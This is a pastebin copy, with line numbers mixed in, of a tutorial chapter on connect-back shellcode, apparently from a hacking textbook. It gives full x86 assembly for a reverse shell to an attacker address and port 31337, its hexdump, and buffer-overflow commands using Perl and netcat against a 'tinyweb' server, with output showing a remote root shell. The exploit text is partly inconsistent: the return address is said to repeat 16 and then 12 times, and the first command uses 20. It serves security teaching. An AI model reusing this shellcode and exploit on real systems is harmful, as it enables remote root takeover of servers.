View difference between Paste ID: AsrsW19v and 3cf4MvfX
SHOW: | | - or go back to the newest paste.
1
1. Connect-Back Shellcode
2
3
1.1. connectback_shell.s
4
5
Code View:
6
BITS 32
7
8
; s = socket(2, 1, 0)
9
  push BYTE 0x66    ; socketcall is syscall #102 (0x66).
10
  pop eax
11
  cdq               ; Zero out edx for use as a null DWORD later.
12
  xor ebx, ebx      ; ebx is the type of socketcall.
13
  inc ebx           ; 1 = SYS_SOCKET = socket()
14
  push edx          ; Build arg array: { protocol = 0,
15
  push BYTE 0x1     ;   (in reverse)     SOCK_STREAM = 1,
16
  push BYTE 0x2     ;                    AF_INET = 2 }
17
  mov ecx, esp      ; ecx = ptr to argument array
18
  int 0x80          ; After syscall, eax has socket file descriptor.
19
20
  xchg esi, eax     ; Save socket FD in esi for later.
21
22
; connect(s, [2, 31337, ], 16)
23
  push BYTE 0x66    ; socketcall (syscall #102)
24
  pop eax
25
  inc ebx           ; ebx = 2 (needed for AF_INET)
26
  push DWORD 0x482aa8c0 ; Build sockaddr struct: IP address = 192.168.42.72
27
  push WORD 0x697a  ;   (in reverse order)    PORT = 31337
28
  push WORD bx      ;                         AF_INET = 2
29
  mov ecx, esp      ; ecx = server struct pointer
30
  push BYTE 16      ; argv: { sizeof(server struct) = 16,
31
  push ecx          ;         server struct pointer,
32
  push esi          ;         socket file descriptor }
33
  mov ecx, esp      ; ecx = argument array
34
  inc ebx           ; ebx = 3 = SYS_CONNECT = connect()
35
  int 0x80          ; eax = connected socket FD
36
37
; dup2(connected socket, {all three standard I/O file descriptors})
38
  xchg eax, ebx     ; Put socket FD in ebx and 0x00000003 in eax.
39
  push BYTE 0x2     ; ecx starts at 2.
40
  pop ecx
41
dup_loop:
42
  mov BYTE al, 0x3F ; dup2  syscall #63
43
  int 0x80          ; dup2(c, 0)
44
  dec ecx           ; Count down to 0.
45
  jns dup_loop      ; If the sign flag is not set, ecx is not negative.
46
47
; execve(const char *filename, char *const argv [], char *const envp[])
48
  mov BYTE al, 11   ; execve  syscall #11.
49
  push edx          ; push some nulls for string termination.
50
  push 0x68732f2f   ; push "//sh" to the stack.
51
  push 0x6e69622f   ; push "/bin" to the stack.
52
  mov ebx, esp      ; Put the address of "/bin//sh" into ebx via esp.
53
  push edx          ; push 32-bit null terminator to stack.
54
  mov edx, esp      ; This is an empty array for envp.
55
  push ebx          ; push string addr to stack above null terminator.
56
  mov ecx, esp      ; This is the argv array with string ptr.
57
  int 0x80          ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
58
59
					  
60
61
In the shellcode above, the connection IP address is set to 192.168.42.72, which should be the IP address of the attacking machine. This address is stored in the in_addr structure as 0x482aa8c0, which is the hexadecimal representation of 72, 42, 168, and 192. This is made clear when each number is displayed in hexadecimal:
62
63
reader@hacking:~/booksrc $ gdb -q
64
(gdb) p /x 192
65
$1 = 0xc0
66
(gdb) p /x 168
67
$2 = 0xa8
68
(gdb) p /x 42
69
$3 = 0x2a
70
(gdb) p /x 72
71
$4 = 0x48
72
(gdb) p /x 31337
73
$5 = 0x7a69
74
(gdb)
75
76
Since these values are stored in network byte order but the x86 architecture is in little-endian order, the stored DWORD seems to be reversed. This means the DWORD for 192.168.42.72 is 0x482aa8c0. This also applies for the two-byte WORD used for the destination port. When the port number 31337 is printed in hexadecimal using gdb, the byte order is shown in little-endian order. This means the displayed bytes must be reversed, so WORD for 31337 is 0x697a.
77
78
The netcat program can also be used to listen for incoming connections with the -l command-line option. This is used in the output below to listen on port 31337 for the connect-back shellcode. The ifconfig command ensures the IP address of eth0 is 192.168.42.72 so the shellcode can connect back to it.
79
80
reader@hacking:~/booksrc $ sudo ifconfig eth0 192.168.42.72 up
81
reader@hacking:~/booksrc $ ifconfig eth0
82
eth0      Link encap:Ethernet  HWaddr 00:01:6C:EB:1D:50
83
          inet addr:192.168.42.72  Bcast:192.168.42.255  Mask:255.255.255.0
84
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
85
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
86
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
87
          collisions:0 txqueuelen:1000
88
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
89
          Interrupt:16
90
91
reader@hacking:~/booksrc $ nc -v -l -p 31337
92
listening on [any] 31337 ...
93
94
Now, let's try to exploit the tinyweb server program using the connectback shellcode. From working with this program before, we know that the request buffer is 500 bytes long and is located at 0xbffff5c0 in stack memory. We also know that the return address is found within 40 bytes of the end of the buffer.
95
96
Code View:
97
reader@hacking:~/booksrc $ nasm connectback_shell.s
98
reader@hacking:~/booksrc $ hexdump -C connectback_shell
99
00000000  6a 66 58 99 31 db 43 52  6a 01 6a 02 89 e1 cd 80  |jfX.1.CRj.j.....|
100
00000010  96 6a 66 58 43 68 c0 a8  2a 48 66 68 7a 69 66 53  |.jfXCh..*HfhzifS|
101
00000020  89 e1 6a 10 51 56 89 e1  43 cd 80 87 f3 87 ce 49  |..j.QV..C......I|
102
00000030  b0 3f cd 80 49 79 f9 b0  0b 52 68 2f 2f 73 68 68  |.?..Iy...Rh//shh|
103
00000040  2f 62 69 6e 89 e3 52 89  e2 53 89 e1 cd 80        |/bin..R..S....|
104
0000004e
105
reader@hacking:~/booksrc $ wc -c connectback_shell
106
78 connectback_shell
107
reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 78 ))
108
402
109
reader@hacking:~/booksrc $ gdb -q --batch -ex "p /x 0xbffff5c0 + 200"
110
$1 = 0xbffff688
111
reader@hacking:~/booksrc $
112
113
					  
114
115
Since the offset from the beginning of the buffer to the return address is 540 bytes, a total of 544 bytes must be written to overwrite the four-byte return address. The return address overwrite also needs to be properly aligned, since the return address uses multiple bytes. To ensure proper alignment, the sumof the NOP sled and shellcode bytes must be divisible by four. In addition, the shellcode itself must stay within the first 500 bytes of the overwrite. These are the bounds of the response buffer, and the memory afterward corresponds to other values on the stack that might be written to before we change the program's control flow. Staying within these bounds avoids the risk of random overwrites to the shellcode, which inevitably lead to crashes. Repeating the return address 16 times will generate 64 bytes, which can be put at the end of the 544-byte exploit buffer and keeps the shellcode safely within the bounds of the buffer. The remaining bytes at the beginning of the exploit buffer will be the NOP sled. The calculations above show that a 402-byte NOP sled will properly align the 78-byte shellcode and place it safely within the bounds of the buffer. Repeating the desired return address 12 times spaces the final 4 bytes of the exploit buffer perfectly to overwrite the saved return address on the stack. Overwriting the return address with 0xbffff688 should return execution right to the middle of the NOP sled, while avoiding bytes near the beginning of the buffer, which might get mangled. These calculated values will be used in the following exploit, but first the connect-back shell needs some place to connect back to. In the output below, netcat is used to listen for incoming connections on port 31337.
116
117
reader@hacking:~/booksrc $ nc -v -l -p 31337
118
listening on [any] 31337 ...
119
120
Now, in another terminal, the calculated exploit values can be used to exploit the tinyweb program remotely.
121
122
1.2. From Another Terminal Window
123
124
reader@hacking:~/booksrc $ (perl -e 'print "\x90"x402';
125
> cat connectback_shell;
126
> perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80
127
localhost [127.0.0.1] 80 (www) open
128
129
Back in the original terminal, the shellcode has connected back to the netcat process listening on port 31337. This provides root shell access remotely.
130
131
reader@hacking:~/booksrc $ nc -v -l -p 31337
132
listening on [any] 31337 ...
133
connect to [192.168.42.72] from hacking.local [192.168.42.72] 34391
134
whoami
135
root
136
137
The network configuration for this example is slightly confusing because the attack is directed at 127.0.0.1 and the shellcode connects back to 192.168.42.72. Both of these IP addresses route to the same place, but 192.168.42.72 is easier to use in shellcode than 127.0.0.1. Since the loopback address contains two null bytes, the address must be built on the stack with multiple instructions. One way to do this is to write the two null bytes to the stack using a zeroed register. The file loopback_shell.s is a modified version of connectback_shell.s that uses the loopback address of 127.0.0.1. The differences are shown in the following output.
138
139
Code View:
140
reader@hacking:~/booksrc $ diff connectback_shell.s loopback_shell.s
141
21c21,22
142
<   push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72
143
---
144
>   push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1
145
>   mov WORD [esp+1], dx  ; overwrite the BBBB with 0000 in the previous push
146
reader@hacking:~/booksrc $
147
148
					  
149
150
After pushing the value 0x01BBBB7f to the stack, the ESP register will point to the beginning of this DWORD. By writing a two-byte WORD of null bytes at ESP+1, the middle two bytes will be overwritten to form the correct return address.
151
152
This additional instruction increases the size of the shellcode by a few bytes, which means the NOP sled also needs to be adjusted for the exploit buffer. These calculations are shown in the output below, and they result in a 397-byte NOP sled. This exploit using the loopback shellcode assumes that the tinyweb program is running and that a netcat process is listening for incoming connections on port 31337.
153
154
Code View:
155
reader@hacking:~/booksrc $ nasm loopback_shell.s
156
reader@hacking:~/booksrc $ hexdump -C loopback_shell | grep --color=auto 00
157
00000000  6a 66 58 99 31 db 43 52  6a 01 6a 02 89 e1 cd 80  |jfX.1.CRj.j.....|
158
00000010  96 6a 66 58 43 68 7f bb  bb 01 66 89 54 24 01 66  |.jfXCh....f.T$.f|
159
00000020  68 7a 69 66 53 89 e1 6a  10 51 56 89 e1 43 cd 80  |hzifS..j.QV..C..|
160
00000030  87 f3 87 ce 49 b0 3f cd  80 49 79 f9 b0 0b 52 68  |....I.?..Iy...Rh|
161
00000040  2f 2f 73 68 68 2f 62 69  6e 89 e3 52 89 e2 53 89  |//shh/bin..R..S.|
162
00000050  e1 cd 80                                          |...|
163
00000053
164
reader@hacking:~/booksrc $ wc -c loopback_shell
165
83 loopback_shell
166
reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 83 ))
167
397
168
reader@hacking:~/booksrc $ (perl -e 'print "\x90"x397';cat loopback_shell;perl -e 'print
169
 "\x88\
170
xf6\xff\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80
171
localhost [127.0.0.1] 80 (www) open
172
173
					  
174
175
As with the previous exploit, the terminal with netcat listening on port 31337 will receive the rootshell.
176
177
reader@hacking:~ $ nc -vlp 31337
178
listening on [any] 31337 ...
179
connect to [127.0.0.1] from localhost [127.0.0.1] 42406
180
whoami
181
root
182
183
Read more at http://programming4.us/security/702.aspx#x0EAVOrEI8yUStDb.99